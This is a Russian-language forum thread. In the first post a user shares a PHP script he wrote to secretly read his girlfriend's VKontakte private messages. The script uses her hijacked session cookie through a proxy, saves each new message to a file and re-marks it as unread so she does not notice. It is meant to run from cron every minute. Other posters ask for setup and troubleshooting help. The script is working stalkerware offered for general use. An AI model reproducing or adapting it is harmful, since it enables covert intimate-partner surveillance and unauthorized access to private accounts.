вообщем, сталкнулся с ситуевиной, когда появилось подозрение что девушка изменяет...один раз глянул контакт её, там была массага о какой то встречи, через буквально 5-10 мин она её удалила...ну и захотелось организовать слежку за контактом любимой...был написан маленький скриптик...который через проксик подключаеться к контакту. логиниться, читает НОВЫЕ массаги, сохраняет их в файл, и ЗАНОГО помечает как "не прочитаные" ну узнал я много о ней )) вот собственно скрипт, пользуйтесь... Code: #!/usr/bin/php <?php ### дира, куда сохранять все это овно (последний слеш обязателен) $dir_save="/home/web/sites/kam/vk/msg/"; $cooke="remixchk=5; remixsid=*****"; function msg_read($mid,$uid){ global $cooke; $proxy = "*****"; //прокси $port=8888; $fp = fsockopen ($proxy, $port, $errno, $errstr, 30); if (!$fp){ return "Error "; } $request = "GET http://vkontakte.ru/mail.php?act=show&id=".$mid." HTTP/1.0\r\n"; $request .= "Host: http://vkontakte.ru\r\n"; $request .= "Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\n"; $request .= "Accept-Encoding: none, *;q=0\r\n"; $request .= "Accept-Language: ru\r\n"; $request .= "Connection: close\r\n"; $request .= "Proxy-Connection: close\r\n"; $request .= "Cookie: ".$cooke." \r\n"; $request .= "Referer: http://vkontakte.ru/mail.php/\r\n"; $request .= "User-Agent: Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.2.15 Version/10.10\r\n"; #$request .= "\r\n"; #$request .= "$data\r\n"; $request .= "\r\n"; #var_dump($request); @fwrite ($fp,$request); $out=""; while (!feof($fp)) { $out .= fgets($fp, 128); } if(ereg("Content-Type: text/html;",$out)) { #var_dump($out); $a=explode("Proxy-Connection: close",$out); return $a[1]; }else{ $a=explode("Proxy-Connection: close",$out); preg_match("/(Content-Type: )[^.]+/i",$a[0],$z); $z=explode("\n",$z[0]); #header(onlyChars($z[0])); return array(trim($z[0]),trim($a[1])); } fclose($fp); ### end function } function mark_unread($mid){ global $cooke; $proxy = "*****"; //прокси $port=8888; $fp = fsockopen ($proxy, $port, $errno, $errstr, 30); if (!$fp){ return "Error "; } $data="mark=new&mark_custom=&m_search=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA%20%D1%81%D0%BE%D0%BE%D0%B1%D1%89%D0%B5%D0%BD%D0%B8%D0%B9&q=&d=&out=0&st=0&filter=all&post%5B".$mid."%5D=".$mid."\r\n\r\n"; $request = "POST http://vkontakte.ru/mail.php?act=mark_msg HTTP/1.0\r\n"; $request.="Host: http://vkontakte.ru\r\n"; $request.="User-Agent: Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.2.15 Version/10.10\r\n"; $request.="Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\n"; $request.="Accept-Language: ru\r\n"; $request.="Accept-Encoding: none, *;q=0\r\n"; $request.="Content-Type: application/x-www-form-urlencoded; charset=UTF-8\r\n"; $request.="Connection: close\r\n"; $request.="Proxy-Connection: close\r\n"; $request.="Referer: http://vkontakte.ru/mail.php\r\n"; $request.="Cookie: ".$cooke."\r\n"; $request.="Pragma: no-cache\r\n"; $request.="Cache-Control: no-cache\r\n"; $request.="Content-Length: ".strlen($data)."\r\n\r\n"; $request.=$data."\r\n\r\n"; #var_dump($request); @fwrite ($fp,$request); $out=""; while (!feof($fp)) { $out .= fgets($fp, 128); #echo($out); } #echo($out); fclose($fp); #end function } function output_r ($host,$page,$data){ global $cooke; if ($page==''){$page='/';} if($host == "vkontakte.ru"){ $proxy = "*****"; //прокси $port=8888; } #else{ #$proxy="192.168.5.2"; #$port=3128; #} $fp = fsockopen ($proxy, $port, $errno, $errstr, 30); if (!$fp){ return "Error "; } $request = "GET http://$host/{$page}?{$data} HTTP/1.0\r\n"; $request .= "Host: http://$host\r\n"; $request .= "Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\n"; $request .= "Accept-Encoding: none, *;q=0\r\n"; $request .= "Accept-Language: ru\r\n"; $request .= "Connection: close\r\n"; $request .= "Proxy-Connection: close\r\n"; $request .= "Cookie: ".$cooke." \r\n"; $request .= "Referer: http://$host/\r\n"; $request .= "User-Agent: Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.2.15 Version/10.10\r\n"; #$request .= "\r\n"; #$request .= "$data\r\n"; $request .= "\r\n"; #var_dump($request); @fwrite ($fp,$request); $out=""; while (!feof($fp)) { $out .= fgets($fp, 128); } if(ereg("Content-Type: text/html;",$out)) { #var_dump($out); $a=explode("Proxy-Connection: close",$out); return $a[1]; }else{ $a=explode("Proxy-Connection: close",$out); preg_match("/(Content-Type: )[^.]+/i",$a[0],$z); $z=explode("\n",$z[0]); #header(onlyChars($z[0])); return array(trim($z[0]),trim($a[1])); } fclose($fp); #end function } ########################################################## ######################################## ######################## ################ ############ Вызов функций include('simple_html_dom.php'); $zzz=output_r("vkontakte.ru","mail.php","id=".$_GET['id']); $zzz=trim(iconv("CP1251","UTF-8",$zzz)); #$ar=explode("<tr class='newRow' id=",$zzz); #var_dump($ar); $i=0; $text = str_get_html($zzz); foreach ($text -> find('tr.newRow') as $temp){ $temp=explode("<div class=\"name\">",$temp); $temp1=explode("<div class=\"date\">",$temp[1]); ##### Username/id $un_tmp=trim(str_replace(array('<a href="','">','</div>','</a>',"/id")," ",$temp1[0])); $un=explode("\n",$un_tmp); $un=trim($un[0]); $i++; ### message ID $mid=explode("<span>",$temp1[1]); $mid=explode("<td class=\"messageSnippet\"",$mid[0]); $mid=trim(str_replace(array("id=\"mb","\">"),"",$mid[1])); if(!file_exists($dir_save."in_".$mid)) { $msg_page=trim(iconv("CP1251","UTF-8",msg_read($mid,$un))); $msg_text = str_get_html($msg_page); foreach ($msg_text -> find('td.messageText') as $msg_tmp){ $exp=explode("<div style=\"width: 240px; overflow: hidden;\">",$msg_tmp); $exp=explode("</div>",$exp[1]); $exp=trim($exp[0]); $to_save=$un." (".$mid.") : ".$exp."\r\n"; ### Сохранение говна в файл $fsave = fopen($dir_save."in_".$mid, "w"); fwrite($fsave, $to_save); fclose($fsave); #end foreach } sleep(2); mark_unread($mid); #end if file exist } #end foreach } ?> для скрипта нужна библиотека simple_html_dom.php, можно найти в гугле ну или скачать тут _http://trac.openpolis.it/openpolis/browser/trunk/lib/simple_html_dom.php?format=txt скрипт БЕЗ прокси не работает )... что умеет: Читать сообщения. сохранять в файл ( in_{$message_id} ) после помечать их как прочитаные... также НЕ читает уже сохраненные масаги ))) скрипт не светит человека то что он онлайн в планах: добавить логирование исходящих сообщений, добавить пометки типа сообщение из контакта было удаленно 0_о, чтобы легче было обратить внимание на нужно сообщение... Скрипт надо гонять по крону каждую минуту....хотя самое прикольное было бы гонять каждые 30 секунд...но да ладно ) З.Ы. как запустить объеснять не буду, кому надо поймут )) З.Ы.Ы.Претендую на звание говно-кодер месяца, за эту поделку...писал для себя. так что писал как можно быстрее, скрипт написан был за час... З.Ы.Ы.Ы. готов принять критику по скрипту, и баг-фиксы )))
Хватит гадить! Обсуждаем скрипт... Всех любителей обсудить историю с девушкой, прошу: 1) Клац 2) Клац 3) Клац ТС, лови тренинг: правиласъема.ру
какой php нужен? и что означают эти строки? PHP: $proxy = "*****"; //прокси $port=8888; } #else{ #$proxy="192.168.5.2"; #$port=3128;
Warning: fsockopen() [function.fsockopen]: unable to connect to 76.114.219.113:8085 (Connection timed out) in прокси живой. в чем трабл? http прокс вообще держит? или socks ЗЫ забыл, что прокси нужны валидные для вк) тестим..
настой скрипт, затем заливай библиотеку с настроенным скриптом на хост, ставь автозапуск в кроне и радуйся жизни)
А почему может выдавать такую ошибку? #!/usr/bin/php Parse error: syntax error, unexpected T_STRING, expecting T_OLD_FUNCTION or T_FUNCTION or T_VAR or '}' in /home/hop/i/l/o/iloveyou/public_html/simple_html_dom.php on line 65 PHP: public $nodetype = HDOM_TYPE_TEXT;
Wow...это, конечно, видимо ооч. круто.., но действительно.., как этим пользоваться)) Тоже не рублю в информатике.., но уж оч. любопытновсе это))